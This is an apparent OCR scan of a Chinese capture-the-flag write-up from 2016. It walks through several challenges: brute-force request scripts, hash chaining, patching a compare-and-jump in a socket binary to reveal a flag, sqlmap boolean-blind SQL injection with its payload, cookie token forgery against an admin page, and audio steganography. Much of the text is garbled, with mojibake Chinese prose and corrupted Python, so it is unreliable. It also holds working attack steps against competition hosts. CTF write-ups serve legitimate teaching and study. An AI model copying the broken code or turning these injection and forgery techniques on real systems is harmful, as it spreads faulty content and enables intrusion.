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urllib,re

g while 1:
line = fl.readline().split(™ ",2
if line:
data
[@].strip(),
:line[1].strip(),

:line[2].strip()

data = urllib.urlencode(data)

req = urllib2.Request(url,data,headers)
re2 = urllib2.urlopen(req).read()

= n+l

orint (

4. Sha1&md5

XA BT, — G U R EMRE, SRR IER.... SREHE R I A cipher text emd5 F
shatlidif, 57— MMHWAM—¥, flag
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& url = "HTTP:
url2

o head

urllib2.Request(url, headers = head)
urllib2.urlopen(re).read() ]

def jiami(i)
hash_md5 = hashlib.md5( (1)) .hexdigest()
hash_shal = hashlib.shal(hash_md5).hexdigest()

dat = urllib.urlencode(data)
ht = urllib2.Request(url2,dat,head)
htl = urllib2.urlopen(ht)

int htl.read()
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R BRI else IR, FrlARBEMIES BRA NIRRT T, BEIFHEN.... REWHGEZ A, RN E]
XA Reverse, AHE—~THRABRMN—mE R TE, —JFHERLTOD, THZEHEMRBERNET (&
WERIFEREORE) , ERECHERT, XREFAEW... REZRIDA—F, IDAGK —&%, #HREEET
H—KHEEE, XEMAET, KRB Tmain, REEARET, EEHEENKIARAABMHARRE, HRERM
Emov RIME, X4REIR LZMRE M, &EXTEIDA KA, BEUFSKERT UL ARG, X
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if ( dword_4%11BCH > 388 )
{
ui = malloc{Bx14u);
*{_DUORD =)u? = B;
sub_481888();
memset{vi, B, Bx1Fhu);
sprintf{{char =)u1, "Success Flag:flag{%s}", v7});
byte_411BBC = 8;
¥
send{*(SO0CKET =)}{{char =}&s + vi), {const char =)ui, strlen{{const char =)ul}, 8);

FHIXHABHET, 300&score, R 5EKF300 Nitiflag, & NHHHM42 REFEE.... AsBAE3005,
¥ Tab, FRAEBLEIMEERBANFEA MR, AEEBEAIH 2 EiETab, RIEAFER N2 HIE...

* |add esp, OCh
jmp loc_48208AD
: ]
===
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[l e =

loc 4620AD:

cmp dword 411BCA, 12Ch

jle short loc_ 48208F6

Iil

(s =]
push 14h ; size t
call _malloc
mou edi, eax
add esp, 4
mou dword ptr [edi], @
call sub_L4B1880
push 1F4h ; size t
push 1] ; int
push ebx ; woid =
call _memset
add esp, BCh
push edi
push offset aSuccessFlagFla ;| "Success Flag:flag{%s}"
push ebx ; char =
call _sprintf

BEAjumpBk Eix AN A lloc 4020AD: ixAMHbhE, X EK12c&163EHIFRRI300, EE T — FIL% cmp 2
compare FIE &, T Nif FIW, 2 wmRxAjleyEMBEF|Success Flagix MERE H, WthE R R T EHEXE
BB E==08FT AT, BRI TNM T EHARREXBRER, #&ITHODEIR—T, E#kpush 0x14
FTHE, HAAERempIAT IR E 2 UARIEIDAFIT I T — XA Z 3] SO MR EODH T F SUHHTE N 7 H
R — e RAFK, FreA—ERRARIN, ER&push 14hIAIARE K BIdhht /i &, B ARl PUR FRXAS
REHCMPHIALE, ik
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g3C4 BG4 add esp,

C707 08900001 mou .
E® 3BEFIFFF |call SocketSe. 00851808
68 FuB1noos
6n 89
53 ebx
E& EZ650008 |call SocketSe.90@586CH
g3C4 ac add esp,
57 edi
68 B4E7 NS00 SocketSe JJ005ET AL ASCII "Success Flag:flag{%s}"
53 ebx
EE 89810000 |call SocketSe.@08521F5
g3C4 ac add esp,

.| | G685 BC1BO6O] mou

> “BBC3 mov eax,ebx
BUSH o1 edx,

. EB B3 j ¥SocketlSe.000521008

ENAaEERTMKEELIrH Tilef R —a X 8 THK, $iEfZsuccess flag, GIAFEEHK, RIKE
Pk 2 emp i K Wi G B ==0B0 7], RARIAESBILRIESW, BRMIEXMNIEETHE, FHW, BHES
Brtiflag, EHcmp Ml jle FIITREEZ K, EPHEHANOPET, AREEMAENKANoOP, nopit s K&
B, MATREFET TRITEEAEWHEFIIT, RERET, AR TEKE:L, RAERFE—TwH,

“hHitoken, REHEK—TREHIE, EFiflag!
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cexe/heml, applicat ion shtnl+ml, applicat londsml s g=0. 3, image/ webp, */ "1 q=0.0
DpE ade- | RS CHES-FaqUESER: |
Uage-Agent: Hezilla/S.0 (Windews MT £.1: WOWEQ) AppleVebdic/SE7.3f (KHTHL,
1ike desko) Chrows/S0.0.2661.94 Sarari/537.36
Eefersr: hocoprf/L120.132.85, 1121226157
hocept-Encoding: gzip, @sflacs, sdeh
Lecapt-Languags: SH-CH, Sh;g=0, 8
b
L]
2 Jos & = | [Ty # o sare BT

g 3 - B )
E Burp Suite search | http://120.132.85.112:22635/ [ == g
'_Search . pptinns . I__ucatinns . _Tnuls
flag [] Case sensitive [ In-scope only [l Request headers (4] Response headers [¥f] Target ¥ Scanner
[ Regex [J Dynamic update ] Request body [ Response body & Proxy [ Repeater

| Go [] Megative match

Source | .ost n.| URL | Status | Length Time requested
Target Tp:.‘.‘12{l.132.35.'112:22&i5 | tsource/admin php?Submit=2tES%00%BE%ES %aF%E. . | 302 271 17:38:27 10 ££ 2016

Regquest | Response

Raw | Headers | Hex

Server: Apache/2.4.7 (Ubuntu) A
¥-Powered-By: PHF/5.5.9-1lubuntud

Location: ./404.php

Content-Length: 51

Content-Type: text/html

O000000000000000000 IE'EI 'flag{al941b114e5£522e215d4d71d7£6b8dA57} v
? < + = flag 1 match
Search completed 1 results

FF MXANEWEA 2B, —HFE—BEERZNRE G HIEL, - AEEREBOMSA HEEHE 7. X B
WMARIE X E AR, MRAEEKphpRIEETIHSH KRBT, RESMHIERS 25 phpRE#AT#HNT, 2
AT, HAERENARERS S INELFR, SwittupIRHMERWEEZ EZRBAT, ERER
FIIRIT iR Search T — T AR 2| T ix/Mlag.
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XEB—FFIRRE BTN, ERFET HARBAERY, M Ewoo Yuni)®: 3] Btk
ﬁ)‘*ﬁiﬂTE—Tﬁ%ﬁ‘&ﬁﬁéﬁﬂ’Jﬁi, &332 T — A -robots. txt i 3L
f, BE&stremp, HHTEXANWS, REBEEERE T AZABIEE, RHARERRAREN, passHEMAH
FIWIA R, BT CAsiAR 246 S i 25 1=

RIEMAE T —MHuhk, WHRXFBBRIEREMK, WASEMIEE, RAEHE
[} 120.132.85.112:4943/?pass]]
ngsi () HEFEERESET o TRE- iSRS [ ssecimimmge [ sesi @ esses [E Convert PrapNC

55 832857ad8bEE. php

EANT, Esqlmap#i—TF

Database: afdf
Table: flag
[1 entry]

1 # sqlmap -u "http://120.132.85.112:4943/832857ad8b88.php" --data="1i

[!] legal disclaimer: Usage of s

consent is illegal. It is the e

local, state and federal laws. Developers assume no liability and are not re;pur
sible for any misuse or damage caused by this program

[*] starting at 18:07:40

sqlmap resumed the following injection point(s) from stored session:
Parameter: id (POST)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=1" AND 5271=5271 AND 'pUfe'='plfe

Get Flag.
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http://drops.wooyun.org/tips/7840
http://120.132.85.112:4943/?pass

XBEMERBE, HASRTHRENL, BE, BRRAMNERE, WEE, BESIKEphpiE AFEHK
cookiesE & session, FIERK NI T —Mipii &R Zadmin1, A5 R 2 BB KR Husername, fERIE
cookiesFImd5f#% T —F, ftest2, #RJ5Hadmin1FAmd5ina — T B HBurpIl— T cookiesii#, Repeater Go

— T &Zlflag.
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[Target I Proxy T Spider I Scanner T Intruder T Repeater T Sequencer ]' Decoder I Comparer ]' Extender T Options. TAIerts ]

1 = [2 = | ..

Go Cancel < | > |

Request Response

J Raw T Params I Headers | Hex Raw  Hex

GET /adwin.php HTTE/1.1

Host: 120.13Z2.85.112:2080

Proxy-Connection: keep-alive

Aocept:

text/html, application/xhtml+xml, application/=xml;q=0.9, 1
mage/webp, */ *:q=0.8

Tpgrade-Insecure-Requests: L

User-Agent: Mozilla/5.0 (Windows NT £.1; WOWE4)
AppleWebKit/537.3¢6 (KHTML, like Gecko)
Chrome/50.0.2661.94 Safari/537.3€

Beferer: http://120.132.85.112:2080/ login.php
Accept-Encoding: gzip, deflate, sdch
Aecept-Language: zh—-CH, zh:q=0.8

Cookie: token=ad0234829205b5033196ba8l18f7a872h

S

E Burp Suite Professional v1.5.18 - licensed to Larrylau - .- A remeen

Target: http://120.132.85.112:2080 | & [:J

I

Burp Intruder Repeater Window Help

Target | Proxy Spider | Scanner Y Intruder T Repeater T Sequencer I Decoder Y Comparer Y Extender I Options | Alerts

1= | 2=

Go Cancel < | > Follow redirection Target: http:i120,132.86.112:2080 | & B
Request Response
Raw [ Params | Headers | Hex Raw [ Headers | Hex [ HTML | Render

GET /admin.php HTTP/L.1
Host: 120.132.85.112:2080
Proxy-Connection: keep-alive
Aecept:
text/html, application/xhtml+xml, application/xml;q=0.9,1
wage/ webp, */ *;q=0.8
Tpgrade- Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windews NT 6.1; WOWE4)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/50.0.2661.94 Safari/537.36
Referer: http://120.132.85.112:2080/ login. php <!DOCTYPE htmil>
Accept-Encoding: gzip, deflate, sdech <html lang="zh-cn'":>
Accept-L CRA P A B <head>
Cookie:l token=s00cfl5ad42683b3IdEE78cE 142 cEbdal | <meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="TE=edge">

HTTP/Ll.1 200 OK

Date: Fri, 13 May Z01é D1:18:0& GMT
Server: Apaches/Z.4.7 (Ubuntu)
¥-Powered-By: PHP/5.5.5-lubuntud
Refresh: 3;url=./index.php

T

Vary: Accept-Encoding
Content-Length: 783
Content-Type: text/html

<title>CCSCMSO000</titlex>

<link href="css/bootstrap.min.css" rel="stylesheest">
<link href="css/signin.css" rel="stylesheet">

</head>
<body>

<div class="signin">

Set-Cookie: token=deleted; expires=Thu, 0l-Jan-1S870 00:00:01 GMT; Max-Age=0

<meta name="viewport" content="width=device-width, initial-scals=1.0">

<div class="signin-head"><img src="unages.ftastfhaa:lﬁl:u.jpg" alt="" class="img-circle"></div>
<form class="form-signin" role="form" action="./" >
<button class="btp btn-lo btn-warning btn-block"

L
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e
i Decode message: CifUsers/ZhaoS/Desktop/little_apple.wav M
— e — —

Media’'s encoding format : Q

| Options

Sound quality: 93.75% (normal 5.

Decoded message
flagib1a63978-cd55-4ebf-a316-5f3a06fc4 660}

CharSet: ! [7] Encrypted data Compressed data &, Cancel ] Il..j, Decode]
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